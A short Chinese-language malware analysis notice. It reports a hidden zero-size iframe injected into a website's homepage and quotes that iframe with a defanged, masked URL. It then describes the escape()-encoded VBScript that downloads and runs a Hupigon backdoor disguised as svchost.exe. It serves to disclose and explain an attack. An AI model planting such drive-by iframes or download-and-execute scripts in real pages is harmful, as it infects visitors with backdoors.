该网站首页首部被加入代码：
/----------- ＜IFRAME src="hxxp://58***000.128**.to***for.com/x***skj.htm width=0 height=0＞＜/IFRAME＞ -----------/
x***skj.htm 的内容为escape()加密的VBScript代码，功能为：利用 Microsoft.XMLHTTP 和 Scripting.FileSystemObject 下载文件 setup.exe，保存为 %temp%/svchost.exe，并利用Shell.Application 对象 的 ShellExecute 方法 来运行。
setup.exe 文件大小为301 KB (308,224 字节)，Kaspersky 报为 Backdoor.Win32.Hupigon.cge。
